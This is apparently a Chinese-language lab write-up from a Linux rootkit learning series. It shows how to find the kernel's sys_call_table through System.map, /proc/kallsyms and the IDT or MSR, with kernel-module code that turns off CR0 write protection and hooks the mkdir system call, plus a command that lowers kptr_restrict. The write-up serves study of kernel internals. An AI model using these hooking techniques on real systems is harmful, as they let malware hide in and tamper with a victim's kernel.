Linux Rootkit 实验 | 0004 另外几种系统调用挂钩技术

实验说明

本次实验接 0001 实验,继续探究系统调用挂钩的方法。核心是获得sys_call_table的起始地址。这是因为在2.6及以后版本的内核中,sys_call_table不再作为导出符号,这意味着我们必须自己获取它的地址。有了地址,挂钩就非常容易了。

实验方法如下:

  • 通过/boot/System.map获得sys_call_table地址
  • 通过/proc/kallsyms获得sys_call_table地址
  • 通过IDT获得sys_call_table地址

本次实验暂不涉及 Linux 系统调用的背景知识。

实验环境

System.map/kallsyms方法及IDT方法②环境:

uname -a:
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux

GCC version:6.1.1

上述环境搭建于虚拟机,另外在没有特殊说明的情况下,均以 root 权限执行。

IDT方法①环境:

uname -a
Linux VM-33-172-ubuntu 3.13.0-36-generic #63-Ubuntu SMP Wed Sep 3 21:30:45 UTC 2014 i686 i686 i686 GNU/Linux

GCC version:4.8.4

注:IDT环境为32位系统,这是因为在64位系统上系统调用的方式是syscall。具体参见【参考资料】二。

实验过程

0001 实验是通过暴力搜索内存空间来寻找sys_call_table的地址。那种方法可能会被欺骗。当然,没有完美的攻击方法,所以这里再学习几种其他的寻找方法。

一 借助 /boot/System.map

这种方法非常易于操作。我们先看结果再深入介绍System.map

通过查询System.map获取sys_call_table地址:

可以看到这里用sys_call_tableia32_sys_call_table两个表。第一个是 64 位系统本身的系统调用表,第二个表是为了兼容 32 位程序通过int 0x80方式做系统调用而存在的。为避免一下子讲解过多背景知识,我将采取“知识屏蔽”方法,这里先关注sys_call_table,即 64 位系统调用表。

找到了地址,下面就是编码了:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/kallsyms.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <asm/current.h>

#define SYS_CALL_TABLE  0xffffffff816001a0

unsigned long *real_sys_call_table = (unsigned long *)SYS_CALL_TABLE;

asmlinkage long (*real_mkdir)(const char __user *pathname, umode_t mode);

asmlinkage long fake_mkdir(const char __user *pathname, umode_t mode)
{
    printk("br: mkdir-%s\n", pathname);

    return (*real_mkdir)(pathname, mode);
}

static int lkm_init(void)
{
    write_cr0(read_cr0() & (~0x10000));
    real_mkdir = (void *)real_sys_call_table[__NR_mkdir];
    real_sys_call_table[__NR_mkdir] = (unsigned long)fake_mkdir;
    write_cr0(read_cr0() | 0x10000);

    printk("bt: module loaded\n");

    return 0;
}

static void lkm_exit(void)
{
    write_cr0(read_cr0() & (~0x10000));
    real_sys_call_table[__NR_mkdir] = (unsigned long)real_mkdir;
    write_cr0(read_cr0() | 0x10000);

    printk("bt: module removed\n");
}

针对代码有几点说明:

  • 本代码中采用了硬编码方式,把地址写在了宏定义中。一种更好的想法是在运行时通过这种途径获取到地址,这需要了解 /boot/System.map 的形成机制;或者在目标机器上获取到地址后,给已经做好的.ko文件进行二进制补丁
  • 上面 arciryas 师傅的写保护开关比 novice 师傅的简洁一些,可以参考一下

测试结果如下:

可以看到,挂钩成功。

二 借助 /proc/kallsyms

这里的操作也非常简单,我只展示一下寻找地址的过程:

后面的测试部分同上一小节。

解读 /boot/System.map 与 /proc/kallsyms

主要学习自【参考资料】七。

内核喜欢地址,但人更喜欢符号。所以需要一个类似DNS的东西来将符号与地址之间做转换。有两个文件扮演符号表的角色:

  • /boot/System.map-$(uname -r)

它包含整个内核镜像的符号表。

  • /proc/kallsyms

它不仅包含内核镜像符号表,还包含所有动态加载模块的符号表(如果一个函数被编译器内联(inline)或者优化掉了,则它在/proc/kallsyms有可能找不到)。

有趣的是,普通用户无权限查看/boot/System.map-$(uname -r),却有权限看/proc/kallsyms。不过,普通用户看到的/proc/kallsyms中地址全是零。另外,这篇文章的作者遇到了即使是root看到也是全零的情况,原来是需要echo 0 > /proc/sys/kernel/kptr_restrict,然而我这里并不需要。

我们知道,/proc是一个虚拟出来的东西,故kallsyms并不是磁盘上真实存在的文件。它是在被读取时动态生成的,对于现运行的内核来说,它总是正确反映其情况。而System.map则是在内核编译完成后就生成的真实文件。所以如果你编译运行了新内核,要用新内核的System.map去替换掉旧的。

我们举一个使用System.map的例子:

内核引用了一个无效指针时,会出现一个Oops。此时系统会给出用于调试的相关信息。但是它给出的是地址而非符号,这给调试人员带来了不便。Linux 有一个后台程序klogd截取内核Oops信息,并通过syslogd记录下来,再将那些人类不敏感的地址转换为人类更感兴趣的符号。它有两种转换方式:静态转换和动态转换。静态转换通过查询System.map完成,动态转换用于可加载模块,但不使用System.map

“当CONFIG_KALLSYMS激活时,核心会自行做位置到名称的转换,所以像是ksymoops这一类的工具并不是必要的”。

System.map内容格式如下:

地址 类型 符号
c1665140 R sys_call_table

nm工具列出了目标文件的符号。System.map直接与其相关(它是由nm针对内核本身产生的)。

部分类型解释如下:

类型 解释 类型 解释
A 绝对的 B/b 未初始化的数据段
D/d 已初始化的数据段 G/g 小目标的已初始化数据段(全域)
i 特定的DLL段 N 除错符号
p 堆栈展开段 R/r 只读数据段
S/s 小目标的未初始化数据段 T/t 代码段
U 未定义 V/v 弱符号
? 符号类型未知 - a.out目标文件的符号戳

2.6某个版本开始,内核引入了导出符号的机制。只有在内核中使用EXPORT_SYMBOLEXPORT_SYMBOL_GPL导出的符号才能在内核模块中直接使用。然而,内核并没有导出所有的符号。例如,在3.8.0的内核中,do_page_fault就没有被导出。

然而,借助/proc/kallsyms可以获取内核未导出符号的地址。比如:

cat /proc/kallsyms | grep "\<do_page_fault\>" | awk '{print $1}'

关于kallsyms机制更详细的内容,可以参考【参考资料】六。

在学习这部分知识时遇到了kprobe,挺有趣的样子,未来再看吧。

三 借助 IDT ①

IDTInterrupt Descriptor Table。作用类似于系统调用表,将异常或中断向量与对应的处理过程联系起来。我们知道,中断比系统调用低一层级,毕竟系统调用算是一个0x80中断。另外,还有一种通过sysenter做系统调用的方法,暂时不去管它。

简单过一下系统调用对应的中断过程:

用户把参数放入寄存器
用户`int 0x80`
系统处理中断,找到对应的中断处理函数`system_call`
`system_call`执行,做一些处理后,进行`call sys_call_table(,eax, 4)`
中断结束后,恢复到用户态

我们寻找sys_call_table的思路是:

通过`sidt`指令,得到`IDT`
在`IDT`中找到`0x80`中断对应的`system_call`地址
从`system_call`的起始地址去搜索硬编码`\xff\x14\x85`,`x86`汇编中`call`指令的二进制即`\xff\x14\x85`

首先介绍一下相关数据结构:

struct {
	unsigned short size;
	unsigned int addr;
}__attribute__((packed)) idtr;

struct {
	unsigned short offset_1;  /*offset bits 0..15*/
	unsigned short selector;  /*a code segment selector in GDT or LDT*/
	unsigned char zero;       /*unused, set to 0*/
	unsigned char type_attr;  /*type and attributes*/
	unsigned short offset_2;  /*offset bits 16..31*/
}__attribute__((packed)) idt;

idtrInterrupt Descriptor Table Register,用来定位IDT的位置。我们将使用sidt指令将IDTR寄存器的内容加载到我们的结构体idtr中。之后,将IDT存储到我们的结构体idt中。

下面就是模块代码了:

unsigned long  *find_sys_call_table(void)
{
	unsigned int sys_call_off;
	char *p;
	int i;
	unsigned int ret;
	asm("sidt %0":"=m"(idtr));
	printk("br: idt table-0x%x\n", idtr.addr);
	memcpy(&idt, idtr.addr+8*0x80, sizeof(idt));
	sys_call_off = ((idt.offset_2 << 16) | idt.offset_1);
	p = sys_call_off;
	for(i = 0; i < 100; i++){
		if(p[i] == '\xff' && p[i+1] == '\x14' && p[i+2] == '\x85')
			ret = *(unsigned int *)(p + i + 3);
	}

	printk("br: sys_call_table-0x%x\n", ret);
	return (unsigned long**)ret;
}

获取sys_call_table地址后同样挂钩mkdir,测试结果如下:

四 借助 IDT ②

x64汇编中call指令的二进制是\xff\x14\xc5

之前提到,x64机器上为了兼容x86的方式,存在两个系统调用表:

sys_call_table
ia32_sys_call_table

搜索 sys_call_table

学习自【参考资料】五。代码如下:

#include <linux/module.h>

#define IA32_LSTAR  0xc0000082

void *get_sys_call_table(void) {
    void *system_call;
    unsigned char *ptr;
    int i, low, high;

    asm("rdmsr" : "=a" (low), "=d" (high) : "c" (IA32_LSTAR));
    system_call = (void*)(((long)high<<32) | low);
    printk(KERN_INFO "system_call: 0x%p", system_call);
    for (ptr=system_call, i=0; i<500; i++) {
        if (ptr[0] == 0xff && ptr[1] == 0x14 && ptr[2] == 0xc5)
            return (void*)(0xffffffff00000000 | *((unsigned int*)(ptr+3)));
        ptr++;
    }
    return NULL;
}
static int __init sct_init(void) {
    printk(KERN_INFO "sys_call_table: 0x%p", get_sys_call_table());
    return 0;
}

static void __exit sct_exit(void) {
}

module_init(sct_init);
module_exit(sct_exit);
MODULE_LICENSE("GPL");

可以看到,与x86上的主要区别在于:

  • 作者的汇编指令用的是rdmsr

MSR - Model Specific Register是一组反映 CPU 状态的寄存器。可以通过rdmsr/wrmsr读写。

64 位系统调用用的是syscallsysret指令。在 Intel 手册中对此进行了描述:

SYSCALL invokes an OS system-call handler at privilege level 0. It does so by loading RIP from the IA32_LSTAR MSR (after saving the address of the instruction following SYSCALL into RCX).

也就是说,为了让内核接收到系统调用,内核必须向IA32_LSTAR MSR 寄存器注册当系统调用触发时要执行的代码地址。

所以,作者通过一句

asm("rdmsr" : "=a" (low), "=d" (high) : "c" (IA32_LSTAR));

就把syscall函数地址从IA32_LSTAR MSR 中读了出来。

  • call 的机器码是 \xff\x14\xc5

之后的操作就与①实验没大的区别了。

测验结果:

搜索 ia32_sys_call_table

暂略。

实验问题

问题一

对于ia32_sys_call_table的理解还不是很透彻。

参考资料

Per Aspera Ad Astra